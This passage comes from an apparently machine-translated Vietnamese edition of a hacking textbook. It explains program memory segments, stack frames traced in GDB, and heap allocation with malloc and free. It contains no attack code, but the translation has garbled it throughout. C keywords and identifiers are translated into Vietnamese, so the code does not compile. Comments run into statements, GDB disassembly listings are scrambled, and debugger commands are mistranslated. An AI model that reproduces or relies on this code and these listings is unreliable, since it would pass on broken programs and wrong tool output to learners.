[trong hàm] static_var @ 0x8049688 = 8
[trong main] static_var @ 0x804968c = 1337
[trong hàm] var @ 0xbffff814 = 5
[trong hàm] static_var @ 0x8049688 = 9
người đọc@hacking:~/booksrc $
68 0x200
Machine Translated by Google
Với địa chỉ của các biến được hiển thị, có thể thấy rõ rằng static_var trong
main() khác với static_var trong function(), vì chúng nằm ở các địa chỉ bộ nhớ khác
nhau (lần lượt là 0x804968c và 0x8049688 ).
Bạn có thể nhận thấy rằng địa chỉ của các biến cục bộ đều có địa chỉ rất cao, như
0xbffff814, trong khi các biến toàn cục và biến tĩnh đều có địa chỉ bộ nhớ rất
thấp, như 0x0804968c và 0x8049688. Bạn thật tinh ý—nhận thấy những chi tiết như thế
này và hỏi tại sao là một trong những nền tảng của việc hack. Hãy đọc tiếp để biết
câu trả lời của bạn.
0x270 Phân đoạn bộ nhớ
Bộ nhớ của một chương trình biên dịch được chia thành năm phân đoạn: văn bản, dữ
liệu, bss, heap và stack. Mỗi phân đoạn đại diện cho một phần bộ nhớ đặc biệt được
dành riêng cho một mục đích nhất định.
Đoạn văn bản đôi khi cũng được gọi là đoạn mã. Đây là nơi chứa các lệnh ngôn
ngữ máy đã lắp ráp của chương trình.
Việc thực hiện các lệnh trong phân đoạn này là phi tuyến tính, nhờ vào các cấu
trúc và hàm điều khiển cấp cao đã đề cập ở trên, được biên dịch thành các lệnh rẽ
nhánh, nhảy và gọi trong ngôn ngữ lắp ráp. Khi một chương trình thực thi, EIP được
đặt thành lệnh đầu tiên trong phân đoạn văn bản. Sau đó, bộ xử lý sẽ thực
hiện một vòng lặp thực hiện các thao tác sau:
1. Đọc hướng dẫn mà EIP đang trỏ tới
2. Thêm độ dài byte của lệnh vào EIP
3. Thực hiện lệnh đã đọc ở bước 1
4. Quay lại bước 1
Đôi khi lệnh sẽ là lệnh nhảy hoặc lệnh gọi, lệnh này thay đổi EIP thành
một địa chỉ bộ nhớ khác. Bộ xử lý không quan tâm đến thay đổi này, vì dù sao
thì nó cũng mong đợi việc thực thi là phi tuyến tính. Nếu EIP được thay đổi ở bước
3, bộ xử lý sẽ chỉ quay lại bước 1 và đọc lệnh được tìm thấy tại địa chỉ của bất
kỳ EIP nào đã được thay đổi.
Quyền ghi bị vô hiệu hóa trong phân đoạn văn bản vì nó không được sử dụng để lưu trữ
biến, chỉ mã. Điều này ngăn mọi người thực sự sửa đổi mã chương trình; bất kỳ nỗ
lực nào để ghi vào phân đoạn bộ nhớ này sẽ khiến chương trình cảnh báo người
dùng rằng có điều gì đó không ổn đã xảy ra và chương trình sẽ bị tắt. Một lợi thế
khác của phân đoạn này là chỉ đọc là nó có thể được chia sẻ giữa các bản sao
khác nhau của chương trình, cho phép thực thi nhiều chương trình cùng một lúc mà
không có vấn đề gì. Cũng cần lưu ý rằng phân đoạn bộ nhớ này có kích thước cố định,
vì không có gì thay đổi trong đó.
Các phân đoạn dữ liệu và bss được sử dụng để lưu trữ các biến chương trình
toàn cục và tĩnh. Phân đoạn dữ liệu được điền bằng các biến toàn cục và tĩnh đã
khởi tạo, trong khi phân đoạn bss được điền bằng các biến tương ứng chưa khởi tạo
của chúng. Mặc dù các phân đoạn này có thể ghi, nhưng chúng cũng có kích thước cố
định. Hãy nhớ rằng các biến toàn cục vẫn tồn tại, bất chấp ngữ cảnh chức năng
(như biến j trong các ví dụ trước). Cả biến toàn cục và biến tĩnh đều có thể
tồn tại vì chúng được lưu trữ trong các phân đoạn bộ nhớ riêng của chúng.
Lập trình 69
Machine Translated by Google
Phân đoạn heap là một phân đoạn bộ nhớ mà lập trình viên có thể trực tiếp điều khiển. Các khối
bộ nhớ trong phân đoạn này có thể được phân bổ và sử dụng cho bất kỳ nhu cầu nào của lập trình viên.
Một điểm đáng chú ý về phân đoạn heap là nó không có kích thước cố định, do đó nó có thể lớn hơn hoặc
nhỏ hơn tùy theo nhu cầu.
Toàn bộ bộ nhớ trong heap được quản lý bởi các thuật toán phân bổ và hủy phân bổ, tương ứng dành riêng
một vùng bộ nhớ trong heap để sử dụng và xóa các vùng đặt trước để cho phép phần bộ nhớ đó được sử
dụng lại cho các vùng đặt trước sau. Heap sẽ tăng và giảm tùy thuộc vào lượng bộ nhớ được dành riêng
để sử dụng. Điều này có nghĩa là một lập trình viên sử dụng các hàm phân bổ heap có thể dành riêng và
giải phóng bộ nhớ ngay lập tức. Sự tăng trưởng của heap di chuyển xuống các địa chỉ bộ nhớ cao hơn.
Phân đoạn ngăn xếp cũng có kích thước biến và được sử dụng như một bảng tạm thời để lưu trữ các
biến hàm cục bộ và ngữ cảnh trong khi gọi hàm. Đây là những gì lệnh backtrace của GDB xem xét. Khi một
chương trình gọi một hàm, hàm đó sẽ có tập hợp các biến được truyền riêng và mã của hàm sẽ ở một vị trí
bộ nhớ khác trong phân đoạn văn bản (hoặc mã). Vì ngữ cảnh và EIP phải thay đổi khi một hàm được gọi, nên
ngăn xếp được sử dụng để ghi nhớ tất cả các biến đã truyền, vị trí mà EIP sẽ trả về sau khi hàm hoàn tất
và tất cả các biến cục bộ được hàm đó sử dụng. Tất cả thông tin này được lưu trữ cùng nhau trên ngăn xếp
trong cái được gọi chung là khung ngăn xếp. Ngăn xếp chứa nhiều khung ngăn xếp.
Theo thuật ngữ khoa học máy tính nói chung, ngăn xếp là một cấu trúc dữ liệu trừu tượng được sử
dụng thường xuyên. Nó có thứ tự vào trước, ra sau (FILO), nghĩa là mục đầu tiên được đưa vào ngăn xếp sẽ
là mục cuối cùng được lấy ra khỏi ngăn xếp. Hãy nghĩ về nó như việc đặt các hạt vào một đoạn dây có một
nút thắt ở một đầu—bạn không thể lấy hạt đầu tiên ra cho đến khi bạn gỡ bỏ tất cả các hạt khác. Khi một
mục được đưa vào ngăn xếp, thì được gọi là đẩy, và khi một mục được lấy ra khỏi ngăn xếp, thì được gọi
là bật.
Như tên gọi của nó, phân đoạn ngăn xếp của bộ nhớ thực chất là một cấu trúc dữ liệu ngăn xếp, chứa
các khung ngăn xếp. Thanh ghi ESP được sử dụng để theo dõi địa chỉ của phần cuối ngăn xếp, liên tục thay
đổi khi các mục được đẩy vào và bật ra khỏi ngăn xếp. Vì đây là hành vi rất động, nên có lý khi ngăn xếp
cũng không có kích thước cố định. Ngược lại với sự tăng trưởng động của heap, khi ngăn xếp thay đổi kích
thước, nó sẽ tăng lên theo danh sách trực quan của bộ nhớ, hướng tới các địa chỉ bộ nhớ thấp hơn.
Bản chất FILO của một ngăn xếp có vẻ kỳ lạ, nhưng vì ngăn xếp được sử dụng để lưu trữ ngữ cảnh,
nên nó rất hữu ích. Khi một hàm được gọi, một số thứ được đẩy vào ngăn xếp cùng nhau trong một khung ngăn
xếp. Thanh ghi EBP—đôi khi được gọi là con trỏ khung (FP) hoặc con trỏ cơ sở cục bộ (LB)—được sử dụng
để tham chiếu các biến hàm cục bộ trong khung ngăn xếp hiện tại. Mỗi khung ngăn xếp chứa
tham số cho hàm, các biến cục bộ của nó và hai con trỏ cần thiết để đưa mọi thứ trở lại như cũ: con trỏ
khung đã lưu (SFP) và địa chỉ trả về. SFP được sử dụng để khôi phục EBP về giá trị trước đó và địa chỉ
trả về được sử dụng để khôi phục EIP về lệnh tiếp theo được tìm thấy sau
gọi hàm. Thao tác này khôi phục lại ngữ cảnh chức năng của khung ngăn xếp trước đó.
70 0x200
Machine Translated by Google
Đoạn mã stack_example.c sau đây có hai hàm: main() và test_function().
stack_example.c
hàm kiểm tra void(int a, int b, int c, int d) {
cờ int;
bộ đệm char[10];
cờ = 31337;
bộ đệm[0] = 'A';
}
int chính() {
hàm_kiểm_tra(1, 2, 3, 4);
}
Chương trình này đầu tiên khai báo một hàm kiểm tra có bốn đối số,
tất cả đều được khai báo là số nguyên: a, b, c và d. Các biến cục bộ cho hàm bao
gồm một ký tự duy nhất gọi là flag và một bộ đệm 10 ký tự gọi là buffer.
Bộ nhớ cho các biến này nằm trong phân đoạn ngăn xếp, trong khi các lệnh máy cho
mã của hàm được lưu trữ trong phân đoạn văn bản. Sau khi biên dịch chương trình,
hoạt động bên trong của nó có thể được kiểm tra bằng GDB. Đầu ra sau đây cho thấy
các lệnh máy đã được phân tách cho main() và test_function(). Hàm main() bắt đầu
tại 0x08048357 và test_function()
bắt đầu tại 0x08048344. Một vài lệnh đầu tiên của mỗi hàm (được in đậm bên dưới)
thiết lập khung ngăn xếp. Các lệnh này được gọi chung là prologue thủ tục hoặc
prologue hàm. Chúng lưu con trỏ khung trên ngăn xếp và lưu bộ nhớ ngăn xếp cho các
biến hàm cục bộ. Đôi khi prologue hàm cũng sẽ xử lý một số căn chỉnh ngăn xếp. Các
lệnh prologue chính xác sẽ thay đổi rất nhiều tùy thuộc vào trình biên dịch và
các tùy chọn trình biên dịch, nhưng nhìn chung các lệnh này xây dựng khung ngăn
xếp.
reader@hacking:~/booksrc $ gcc -g stack_example.c
reader@hacking:~/booksrc $ gdb -q ./a.out Sử dụng
thư viện libthread_db lưu trữ "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) disass
main Dump mã trình
biên dịch cho hàm main(): 0x08048357 <main+0>: push
ebp 0x08048358 <main+1>: ebp,esp
0x0804835a <main+3>: esp,0x18 mov
0x0804835d
sub
<main+6>: esp,0xfffffff0 0x08048360
<main+9>:
eax,0x0 0x08048365 <main+14>: và
sub esp,eax DWORD PTR
[esp+12],0x4 0x08048367 <main+16>: mov
di chuyển
0x0804836f <main+24>: mov DWORD PTR [esp+8],0x3
DWORD PTR [esp+4],0x2 0x0804837f
0x08048377 <main+32>: mov
<main+40>: mov DWORD PTR [esp],0x1 0x08048386 <main+47>: gọi
0x8048344 <test_function> 0x0804838b <main+52>: rời khỏi
0x0804838c <main+53>: ret
Lập trình
71
Machine Translated by Google
Kết thúc dump lắp ráp
(gdb) giải thích hàm test_function()
Dump mã trình biên dịch cho hàm test_function: 0x08048344
<test_function+0>: push ebp 0x08048345
<test_function+1>: mov ebp,esp 0x08048347 <test_function+3>:
sub esp,0x28
0x0804834a <test_function+6>: mov 0x08048351
DWORD PTR [ebp-12],0x7a69
<test_function+13>: mov
BYTE PTR [ebp-40],0x41
0x08048355 <test_function+17>: rời khỏi
0x08048356 <test_function+18>: trả về
Kết thúc dump lắp ráp
(gdb)
Khi chương trình chạy, hàm main() được gọi, hàm này chỉ đơn giản gọi test_function().
Khi test_function() được gọi từ hàm main() , các giá trị khác nhau sẽ được
đẩy vào ngăn xếp để tạo khung bắt đầu của ngăn xếp như sau.
Khi test_function() được gọi, các đối số hàm được đẩy vào ngăn xếp theo thứ tự
ngược lại (vì đó là FILO). Các đối số cho hàm là 1, 2, 3 và 4, do đó các lệnh đẩy
tiếp theo sẽ đẩy 4, 3, 2 và cuối cùng là 1 vào ngăn xếp. Các giá trị này tương
ứng với các biến d, c, b và a trong hàm. Các lệnh đưa các giá trị này vào ngăn
xếp được hiển thị bằng chữ in đậm trong phần phân tách hàm main() bên dưới.
(gdb) giải tán chính
Dump mã trình biên dịch cho hàm main: 0x08048357
<main+0>: push ebp 0x08048358 <main+1>:
di chuyển
ebp,esp 0x0804835a <main+3>: esp,0x18
0x0804835d
phụ <main+9>:
<main+6>: esp,0xfffffff0 0x08048360
và0x08048367 <main+16> :
eax,0x0 0x08048365 <main+14>: sub
di chuyển
mov 0x0804836f <main+24>: mov 0x08048377
<main+32>:
mov 0x0804837f <main+40>: mov
đặc biệt là eax
0x08048386 <main+47>: gọi 0x8048344
DWORD PTR [esp+12],0x4
<test_function> 0x0804838b <main+52>:
DWORD PTR [esp+8],0x3
rời khỏi 0x0804838c <main+53>: trả
DWORD PTR [esp+4],0x2
về
DWORD PTR [esp],0x1
Kết thúc dump lắp ráp
(gdb)
Tiếp theo, khi lệnh gọi assembly được thực thi, địa chỉ trả về được đẩy vào ngăn xếp
và luồng thực thi nhảy đến đầu của test_function() tại 0x08048344. Giá trị địa chỉ trả về sẽ là
vị trí của lệnh theo sau EIP hiện tại—cụ thể là giá trị được lưu trữ trong bước 3 của vòng lặp
thực thi đã đề cập trước đó. Trong trường hợp này, địa chỉ trả về sẽ trỏ đến lệnh leave trong
main() tại 0x0804838b.
Lệnh gọi vừa lưu trữ địa chỉ trả về trên ngăn xếp vừa nhảy
EIP đến đầu test_function(), do đó các lệnh pro-logue của thủ tục test_function()
hoàn tất việc xây dựng khung ngăn xếp. Trong bước này, giá trị hiện tại của EBP
được đẩy vào ngăn xếp. Giá trị này được gọi là khung đã lưu
72 0x200
Machine Translated by Google
con trỏ (SFP) và sau đó được sử dụng để khôi phục EBP về trạng thái ban đầu.
Giá trị hiện tại của ESP sau đó được sao chép vào EBP để đặt con trỏ khung mới.
Con trỏ khung này được sử dụng để tham chiếu các biến cục bộ của hàm (cờ và bộ đệm).
Bộ nhớ được lưu cho các biến này bằng cách trừ từ ESP. Cuối cùng, khung ngăn xếp
trông giống như thế này:
Đỉnh của ngăn xếp
Địa chỉ thấp
đệm
lá cờ
Con trỏ khung đã lưu (SFP)
Con trỏ khung (EBP)
Địa chỉ trả về (ret)
Một
b
c
ngày
Địa chỉ cao
Chúng ta có thể theo dõi quá trình xây dựng khung ngăn xếp trên ngăn xếp bằng GDB.
Trong đầu ra sau, một điểm dừng được đặt trong main() trước khi gọi đến test_function()
và cũng ở đầu test_function(). GDB sẽ đặt điểm dừng đầu tiên trước khi các đối số hàm
được đẩy vào ngăn xếp và điểm dừng thứ hai sau phần mở đầu thủ tục của test_function() .
Khi chương trình được chạy, quá trình thực thi dừng tại điểm dừng, nơi ESP (con trỏ
ngăn xếp), EBP (con trỏ khung) và EIP (con trỏ thực thi) của thanh ghi được kiểm tra.
(gdb) danh sách chính
4
cờ = 31337;
bộ đệm[0] = 'A';
5 6
}
7 8
9
int chính() {
10
11
hàm_kiểm_tra(1, 2, 3, 4);
}
(gdb) phá vỡ 10
Điểm dừng 1 tại 0x8048367: tệp stack_example.c, dòng 10.
(gdb) ngắt chức năng kiểm
tra Điểm dừng 2 tại 0x804834a: tệp stack_example.c, dòng 5.
(gdb) chạy
Chương trình khởi động: /home/reader/booksrc/a.out
Điểm dừng 1, main() tại stack_example.c:10
10
hàm_kiểm_tra(1, 2, 3, 4);
(gdb) ir esp ebp eip
0xbffff7f0
0xbffff7f0
ebp 0xbffff808 eip (gdb) x/
0xbffff808
esp
5i
0x8048367
$eip
0x8048367 <chính+16>:
0x8048367 <chính+16>
di chuyển
DWORD PTR [esp+12],0x4
Lập trình 73
Machine Translated by Google
0x804836f <main+24>:
di chuyển
DWORD PTR [esp+8],0x3
0x8048377 <main+32>:
di chuyển
DWORD PTR [esp+4],0x2
0x804837f <main+40>:
di chuyển
DWORD PTR [esp],0x1
0x8048386 <main+47>:
gọi 0x8048344 <test_function>
(gdb)
Điểm dừng này nằm ngay trước khung ngăn xếp cho lệnh gọi test_function()
được tạo. Điều này có nghĩa là đáy của khung ngăn xếp mới này nằm ở giá trị hiện tại của ESP,
0xbffff7f0. Điểm dừng tiếp theo nằm ngay sau phần mở đầu thủ tục cho test_function(), do đó tiếp tục
sẽ xây dựng khung ngăn xếp. Đầu ra bên dưới hiển thị thông tin tương tự tại điểm dừng thứ hai. Các
biến cục bộ (cờ và bộ đệm) được tham chiếu tương đối với con trỏ khung (EBP).
(gdb) tiếp theo
Tiếp tục.
Điểm dừng 2, test_function (a=1, b=2, c=3, d=4) tại stack_example.c:5
5
cờ = 31337;
(gdb) ir esp ebp eip
0xbffff7c0
0xbffff7c0
ebp 0xbffff7e8 eip 0x804834a
0xbffff7e8
(gdb) disass test_function
0x804834a <chức năng kiểm tra+6>
esp
Dump mã trình biên dịch cho hàm
test_function:
0x08048344 <test_function+0>: đẩy ebp
0x08048345 <test_function+1>: mov ebp,esp
0x08048347 <test_function+3>: sub esp,0x28
0x0804834a <test_function+6>: mov DWORD PTR [ebp-12],0x7a69
0x08048351 <test_function+13>: mov BYTE PTR [ebp-40],0x41
0x08048355 <test_function+17>: rời khỏi
0x08048356 <test_function+18>: ret Kết
thúc quá trình dump trình biên dịch.
(gdb) in $ebp-12
$1 = (trống *) 0xbffff7dc
(gdb) in $ebp-40
$2 = (trống *) 0xbffff7c0
(gdb) x/16xw $esp
0xbffff7c0:
0x00000000
0x08049548
0xbffff7d8
0x08048249
0xbffff7d0:
0xb7f9f729
0xb7fd6ff4
0xbffff808
0x080483b9
0xbffff7e0:
0xb7fd6ff4
0xbffff89c
0xbffff808
0x0804838b
0xbffff7f0:
0x00000001
0x00000002
0x00000003
0x00000004
(gdb)
Khung ngăn xếp được hiển thị trên ngăn xếp ở cuối. Bốn đối số của hàm có thể được nhìn thấy ở dưới
cùng của khung ngăn xếp (), với địa chỉ trả về được tìm thấy trực tiếp ở trên cùng (). Phía trên đó là
con trỏ khung đã lưu của 0xbffff808 (), đó là EBP trong khung ngăn xếp trước đó. Phần bộ nhớ còn lại
được lưu cho các biến ngăn xếp cục bộ: cờ và bộ đệm. Tính toán địa chỉ tương đối của chúng với EBP sẽ
hiển thị vị trí chính xác của chúng trong khung ngăn xếp. Bộ nhớ cho biến cờ được hiển thị tại và bộ
nhớ cho biến bộ đệm được hiển thị tại . Không gian bổ sung trong khung ngăn xếp chỉ là phần đệm.
74 0x200
Machine Translated by Google
Sau khi thực thi xong, toàn bộ khung ngăn xếp được đẩy ra khỏi ngăn xếp và EIP được đặt thành địa
chỉ trả về để chương trình có thể tiếp tục thực thi. Nếu một hàm khác được gọi trong hàm, một khung
ngăn xếp khác sẽ được đẩy vào ngăn xếp, v.v. Khi mỗi hàm kết thúc, khung ngăn xếp của nó được đẩy ra
khỏi ngăn xếp để thực thi có thể được trả về hàm trước đó. Hành vi này là lý do tại sao phân đoạn bộ nhớ
này được tổ chức theo cấu trúc dữ liệu FILO.
Các phân đoạn khác nhau của bộ nhớ được sắp xếp theo thứ tự chúng được trình bày, từ địa
chỉ bộ nhớ thấp hơn đến địa chỉ bộ nhớ cao hơn. Vì hầu hết mọi người đều quen với việc nhìn thấy danh
sách được đánh số đếm ngược, nên các địa chỉ bộ nhớ nhỏ hơn được hiển thị ở trên cùng.
Một số văn bản có cách đảo ngược này, điều này có thể rất khó hiểu; vì vậy đối với cuốn sách này,
các địa chỉ bộ nhớ nhỏ hơn luôn được hiển thị
Địa chỉ thấp
ở trên cùng. Hầu hết các trình gỡ lỗi cũng hiển
thị bộ nhớ theo kiểu này, với các địa chỉ bộ
Đoạn văn bản (mã)
Phân đoạn dữ liệu
nhớ nhỏ hơn ở trên cùng và các địa chỉ cao hơn
phân khúc bss
ở dưới cùng.
Phân đoạn đống
Vì heap và stack đều động, cả hai đều
Đống lớn dần
xuống phía dưới
phát triển theo các hướng khác nhau hướng về
bộ nhớ cao hơn
địa chỉ.
nhau. Điều này giảm thiểu không gian lãng phí,
cho phép stack lớn hơn nếu heap nhỏ và ngược lại.
Các ngăn xếp phát triển
lên hướng xuống dưới
địa chỉ bộ nhớ.
Đoạn ngăn xếp
Địa chỉ cao
0x271 Phân đoạn bộ nhớ trong C
Trong C, giống như các ngôn ngữ biên dịch khác, mã biên dịch sẽ đi vào đoạn văn bản, trong khi các
biến nằm trong các đoạn còn lại. Biến sẽ được lưu trữ trong đoạn bộ nhớ nào phụ thuộc vào cách biến được
định nghĩa. Các biến được định nghĩa bên ngoài bất kỳ hàm nào được coi là toàn cục. Từ khóa static cũng
có thể được thêm vào trước bất kỳ khai báo biến nào để biến thành biến tĩnh. Nếu các biến tĩnh hoặc
toàn cục được khởi tạo bằng dữ liệu, chúng sẽ được lưu trữ trong đoạn bộ nhớ dữ liệu; nếu không, các
biến này sẽ được đặt trong đoạn bộ nhớ bss. Bộ nhớ trên đoạn bộ nhớ heap trước tiên phải được phân bổ
bằng hàm phân bổ bộ nhớ có tên là malloc(). Thông thường, các con trỏ được sử dụng để tham chiếu đến bộ
nhớ trên heap.
Cuối cùng, các biến chức năng còn lại được lưu trữ trong phân đoạn bộ nhớ ngăn xếp. Vì ngăn xếp có
thể chứa nhiều khung ngăn xếp khác nhau, nên các biến ngăn xếp có thể duy trì tính duy nhất trong
các ngữ cảnh chức năng khác nhau.
Chương trình memory_segments.c sẽ giúp giải thích những khái niệm này bằng C.
memory_segments.c
#include <stdio.h>
int biến toàn cục;
Lập trình
75
Machine Translated by Google
int global_initialized_var = 5;
void function() { // Đây chỉ là một hàm demo.
int stack_var; // Lưu ý biến này có tên giống với tên trong hàm main().
printf("stack_var của hàm nằm ở địa chỉ 0x%08x\n", &stack_var);
}
int chính() {
int stack_var; // Cùng tên với biến trong hàm()
int tĩnh static_initialized_var = 5;
int tĩnh static_var;
int *heap_var_ptr;
heap_var_ptr = (int *) malloc(4);
// Các biến này nằm trong phân đoạn dữ liệu.
printf("global_initialized_var nằm ở địa chỉ 0x%08x\n", &global_initialized_var);
printf("static_initialized_var nằm ở địa chỉ 0x%08x\n\n", &static_initialized_var);
// Các biến này nằm trong phân đoạn bss.
printf("static_var ở địa chỉ 0x%08x\n", &static_var);
printf("global_var ở địa chỉ 0x%08x\n\n", &global_var);
// Biến này nằm trong phân đoạn heap.
printf("heap_var ở địa chỉ 0x%08x\n\n", heap_var_ptr);
// Các biến này nằm trong phân đoạn ngăn xếp.
printf("stack_var ở địa chỉ 0x%08x\n", &stack_var);
chức năng();
}
Hầu hết đoạn mã này khá dễ hiểu vì tên biến mô tả. Các biến toàn cục và
tĩnh được khai báo như đã mô tả trước đó, và các biến tương ứng được khởi tạo
cũng được khai báo. Biến stack được khai báo trong cả main() và function() để thể
hiện hiệu ứng của ngữ cảnh chức năng. Biến heap thực sự được khai báo là một con trỏ
số nguyên, sẽ trỏ đến bộ nhớ được phân bổ trên phân đoạn bộ nhớ heap. malloc ()
hàm được gọi để phân bổ bốn byte trên heap. Vì bộ nhớ mới được phân bổ có
thể là bất kỳ kiểu dữ liệu nào, hàm malloc() trả về một con trỏ void,
cần được ép kiểu thành một con trỏ số nguyên.
reader@hacking:~/booksrc $ gcc memory_segments.c
reader@hacking:~/booksrc $ ./a.out
global_initialized_var nằm ở địa chỉ 0x080497ec
static_initialized_var ở địa chỉ 0x080497f0
static_var ở địa chỉ 0x080497f8
global_var ở địa chỉ 0x080497fc
heap_var ở địa chỉ 0x0804a008
76 0x200
Machine Translated by Google
stack_var ở địa chỉ 0xbffff834
stack_var của hàm nằm ở địa chỉ 0xbffff814
người đọc@hacking:~/booksrc $
Hai biến khởi tạo đầu tiên có địa chỉ bộ nhớ thấp nhất, vì chúng nằm trong
phân đoạn bộ nhớ dữ liệu. Hai biến tiếp theo, static_var và global_var, được lưu
trữ trong phân đoạn bộ nhớ bss, vì chúng không được khởi tạo. Các địa chỉ bộ nhớ
này lớn hơn một chút so với địa chỉ của các biến trước đó, vì phân đoạn bss nằm bên
dưới phân đoạn dữ liệu.
Vì cả hai phân đoạn bộ nhớ này đều có kích thước cố định sau khi biên dịch nên
không có nhiều không gian bị lãng phí và các địa chỉ không cách nhau quá xa.
Biến heap được lưu trữ trong không gian được phân bổ trên phân đoạn heap, nằm
ngay bên dưới phân đoạn bss. Hãy nhớ rằng bộ nhớ trong phân đoạn này không cố định
và có thể phân bổ thêm không gian động sau này. Cuối cùng, hai stack_var cuối cùng
có địa chỉ bộ nhớ rất lớn vì chúng nằm trong phân đoạn stack. Bộ nhớ trong stack
cũng không cố định; tuy nhiên, bộ nhớ này bắt đầu ở dưới cùng và phát triển ngược về
phía phân đoạn heap.
Điều này cho phép cả hai phân đoạn bộ nhớ trở nên động mà không lãng phí không gian
trong bộ nhớ. Stack_var đầu tiên trong ngữ cảnh của hàm main() được lưu trữ trong
phân đoạn ngăn xếp bên trong một khung ngăn xếp. Stack_var thứ hai trong function ()
có ngữ cảnh riêng duy nhất, do đó biến đó được lưu trữ trong một khung ngăn xếp khác
trong phân đoạn ngăn xếp. Khi function() được gọi gần cuối chương trình, một khung
ngăn xếp mới được tạo để lưu trữ (trong số những thứ khác) stack_var cho ngữ cảnh của
function() . Vì ngăn xếp phát triển trở lại về phía phân đoạn heap với mỗi khung ngăn
xếp mới, nên địa chỉ bộ nhớ cho stack_var thứ hai
(0xbffff814) nhỏ hơn địa chỉ của stack_var đầu tiên (0xbffff834) được tìm thấy trong
ngữ cảnh của main() .
0x272 Sử dụng Heap
Sử dụng các phân đoạn bộ nhớ khác chỉ đơn giản là vấn đề về cách bạn khai báo
biến. Tuy nhiên, sử dụng heap đòi hỏi nhiều nỗ lực hơn một chút. Như đã trình bày
trước đó, việc phân bổ bộ nhớ trên heap được thực hiện bằng cách sử dụng malloc ()
hàm. Hàm này chấp nhận một kích thước là đối số duy nhất của nó và dành riêng khoảng
không gian đó trong phân đoạn heap, trả về địa chỉ đến đầu bộ nhớ này dưới dạng
một con trỏ void. Nếu hàm malloc() không thể phân bổ bộ nhớ vì một lý do nào đó,
nó sẽ chỉ trả về một con trỏ NULL có giá trị là 0.
Hàm giải phóng tương ứng là free(). Hàm này chấp nhận một con trỏ làm đối số duy
nhất và giải phóng không gian bộ nhớ đó trên heap để có thể sử dụng lại sau. Các hàm
tương đối đơn giản này được trình bày trong heap_example.c.
heap_example.c
#include <stdio.h>
#include <stdlib.h>
#include <chuỗi.h>
Lập trình 77
Machine Translated by Google
int main(int argc, char *argv[]) {
char *char_ptr; // Con trỏ char int
*int_ptr;
// Con trỏ số nguyên
int mem_size;
nếu (argc < 2)
// Nếu không có đối số dòng lệnh, mem_size = 50; // sử dụng
50 làm giá trị mặc định. else mem_size = atoi(argv[1]);
printf("\t[+] phân bổ %d byte bộ nhớ trên heap cho char_ptr\n", mem_size); char_ptr = (char
*) malloc(mem_size); // Phân bổ bộ nhớ heap
if(char_ptr == NULL) { // Kiểm tra lỗi, trong trường hợp malloc() không
thành công fprintf(stderr, "Lỗi: không thể phân bổ bộ nhớ heap.
\n"); exit(-1);
}
strcpy(char_ptr, "Bộ nhớ này nằm trên heap."); printf("char_ptr
(%p) --> '%s'\n", char_ptr, char_ptr);
printf("\t[+] phân bổ 12 byte bộ nhớ trên heap cho int_ptr\n"); int_ptr = (int
*) malloc(12); // Phân bổ lại bộ nhớ heap
if(int_ptr == NULL) { // Kiểm tra lỗi, trong trường hợp malloc() không
thành công fprintf(stderr, "Lỗi: không thể phân bổ bộ nhớ heap.
\n"); exit(-1);
}
*int_ptr = 31337; // Đặt giá trị 31337 vào nơi int_ptr đang trỏ tới.
printf("int_ptr (%p) --> %d\n", int_ptr, *int_ptr);
printf("\t[-] giải phóng bộ nhớ heap của char_ptr...\n");
free(char_ptr); // Giải phóng bộ nhớ heap
printf("\t[+] phân bổ thêm 15 byte cho char_ptr\n"); char_ptr =
(char *) malloc(15); // Phân bổ thêm bộ nhớ heap
if(char_ptr == NULL) { // Kiểm tra lỗi, trong trường hợp malloc() không
thành công fprintf(stderr, "Lỗi: không thể phân bổ bộ nhớ heap.
\n"); exit(-1);
}
strcpy(char_ptr, "bộ nhớ mới");
printf("char_ptr (%p) --> '%s'\n", char_ptr, char_ptr);
printf("\t[-] giải phóng bộ nhớ heap của int_ptr...\n");
free(int_ptr); // Giải phóng bộ nhớ heap
printf("\t[-] giải phóng bộ nhớ heap của char_ptr...\n");
free(char_ptr); // Giải phóng khối bộ nhớ heap khác
}
78 0x200
Machine Translated by Google
Chương trình này chấp nhận một đối số dòng lệnh cho kích thước của lần phân bổ
bộ nhớ đầu tiên, với giá trị mặc định là 50. Sau đó, nó sử dụng các hàm malloc()
và free() để phân bổ và giải phóng bộ nhớ trên heap. Có rất nhiều câu lệnh printf()
để gỡ lỗi những gì thực sự xảy ra khi chương trình được thực thi. Vì malloc() không
biết loại bộ nhớ nào đang được phân bổ, nên nó trả về một con trỏ void tới bộ nhớ
heap mới được phân bổ, phải được ép kiểu thành loại thích hợp. Sau mỗi lần gọi
malloc() , có một khối kiểm tra lỗi kiểm tra xem việc phân bổ có bị lỗi hay không.
Nếu việc phân bổ không thành công và con trỏ là NULL, fprintf() được sử dụng để
in thông báo lỗi thành lỗi chuẩn và chương trình thoát. fprintf ()
hàm này rất giống với printf(); tuy nhiên, đối số đầu tiên của nó là stderr, là một
luồng tệp chuẩn dùng để hiển thị lỗi. Hàm này sẽ được giải thích thêm sau, nhưng
hiện tại, nó chỉ được sử dụng như một cách để hiển thị lỗi đúng cách. Phần còn lại
của chương trình khá đơn giản.
reader@hacking:~/booksrc $ gcc -o heap_example heap_example.c
reader@hacking:~/booksrc $ ./heap_example
[+] phân bổ 50 byte bộ nhớ trên heap cho char_ptr
char_ptr (0x804a008) --> 'Bộ nhớ này nằm trên heap.'
[+] phân bổ 12 byte bộ nhớ trên heap cho int_ptr
int_ptr (0x804a040) --> 31337
[-] giải phóng bộ nhớ heap của char_ptr...
[+] phân bổ thêm 15 byte cho char_ptr
char_ptr (0x804a050) --> 'bộ nhớ mới'
[-] giải phóng bộ nhớ heap của int_ptr...
[-] giải phóng bộ nhớ heap của char_ptr...
người đọc@hacking:~/booksrc $
Trong đầu ra trước đó, hãy lưu ý rằng mỗi khối bộ nhớ có địa chỉ bộ nhớ tăng dần trong heap. Mặc dù
50 byte đầu tiên đã được giải phóng, nhưng khi yêu cầu thêm 15 byte nữa, chúng sẽ được đặt sau 12 byte
được phân bổ cho int_ptr. Các hàm phân bổ heap kiểm soát hành vi này, có thể được khám phá bằng cách
thay đổi kích thước của phân bổ bộ nhớ ban đầu.
người đọc@hacking:~/booksrc $ ./heap_example 100
[+] phân bổ 100 byte bộ nhớ trên heap cho char_ptr
char_ptr (0x804a008) --> 'Bộ nhớ này nằm trên heap.'
[+] phân bổ 12 byte bộ nhớ trên heap cho int_ptr
int_ptr (0x804a070) --> 31337
[-] giải phóng bộ nhớ heap của char_ptr...
[+] phân bổ thêm 15 byte cho char_ptr
